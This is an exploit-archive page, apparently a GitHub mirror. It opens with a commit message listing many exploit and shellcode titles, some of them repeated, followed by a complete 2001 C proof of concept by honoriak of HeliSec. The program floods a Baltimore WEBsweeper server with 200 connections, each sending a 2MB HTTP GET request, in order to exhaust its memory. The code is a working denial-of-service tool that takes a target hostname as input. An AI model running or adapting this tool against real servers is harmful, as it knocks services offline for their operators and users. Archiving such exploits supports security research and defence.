
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
119 lines
No EOL
2.6 KiB
C
119 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/2465/info
|
|
|
|
Baltimore Technology WEBsweeper is subject to a denial of service condition. Submitting an unusually long HTTP request through WEBsweeper will cause the consumption of all available memory on the server where WEBsweeper resides.
|
|
|
|
/*
|
|
|
|
----[ honoriak from [HeliSec] 22.3.2001
|
|
|
|
[ Proof of concept Websweeper Infinite HTTP Request DoS ]
|
|
[ Advisory Defcom Labs Advisory def-2001-10 ]
|
|
|
|
Thanks to doing and all helisec members: merphe, jet-li, kiss,
|
|
lyw0d, bonjy.
|
|
|
|
*/
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <sys/socket.h>
|
|
#include <netdb.h>
|
|
#include <arpa/inet.h>
|
|
#include <stdlib.h>
|
|
#include <time.h>
|
|
#include <sys/time.h>
|
|
#include <fcntl.h>
|
|
|
|
#define PORT 80
|
|
#define LEN 2000000
|
|
#define CON 200
|
|
|
|
int i, v, n, sel, envi;
|
|
int cons[CON];
|
|
char ah[LEN];
|
|
char ahh[LEN + 7];
|
|
char *host;
|
|
fd_set env;
|
|
struct sockaddr_in victim;
|
|
|
|
void usage(char *prog) {
|
|
printf("[ Websweeper Infinite HTTP Request DoS by honoriak@mail.ru ");
|
|
printf("from Helisec ]\n");
|
|
printf("-- Advisory: Defcom Labs Advisory def-2001-10 --\n\n");
|
|
printf("Usage: %s hostname number_of_gets\n", prog);
|
|
exit(0);
|
|
}
|
|
|
|
unsigned long resolver(char *h) {
|
|
|
|
struct in_addr h2;
|
|
struct hostent *hvic;
|
|
|
|
if (!(hvic = gethostbyname(h))) return(0);
|
|
memcpy((char *)&h2.s_addr, hvic->h_addr, hvic->h_length);
|
|
return(h2.s_addr);
|
|
}
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
|
|
if (argc < 2)
|
|
{
|
|
usage(argv[0]);
|
|
}
|
|
|
|
bzero(&victim, sizeof(victim));
|
|
victim.sin_family = AF_INET;
|
|
victim.sin_port = htons(PORT);
|
|
|
|
if ( (inet_pton(AF_INET, argv[1], &victim.sin_addr)) <= 0)
|
|
{
|
|
victim.sin_addr.s_addr = resolver(argv[1]);
|
|
}
|
|
|
|
if (!victim.sin_addr.s_addr) {
|
|
printf("Error resolving host\n");
|
|
exit(-1);
|
|
}
|
|
|
|
for (i=0; i<=(LEN-1); i++) ah[i] = 'a';
|
|
ah[LEN-1] = '\0';
|
|
printf("Sending Infinite HTTP Request...\n");
|
|
|
|
sprintf(ahh, "GET /%s\n", ah);
|
|
|
|
for (sel=0; sel < CON; sel++)
|
|
{
|
|
|
|
if ((cons[sel] = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
|
printf("Error opening socket\n");
|
|
exit(-1);
|
|
}
|
|
|
|
if ( (n=connect(cons[sel], (struct sockaddr *)&victim, sizeof(victim))) < 0) {
|
|
printf("Error connecting\n");
|
|
exit(-1);
|
|
}
|
|
|
|
}
|
|
|
|
for (sel=0; sel < CON; sel++) {
|
|
|
|
FD_SET(cons[sel], &env);
|
|
|
|
envi=select(cons[sel] + 1, NULL, &env, NULL, NULL);
|
|
|
|
if ( FD_ISSET(cons[sel], &env) ) {
|
|
if ( (send(cons[sel], ahh, strlen(ahh), 0)) < 1) {
|
|
printf("Error sending\n");
|
|
exit(-1);
|
|
}
|
|
}
|
|
|
|
}
|
|
exit(-1);
|
|
}
|
|
|
|
/* [HeliSec] <=> [Helios Security and Administration] */ |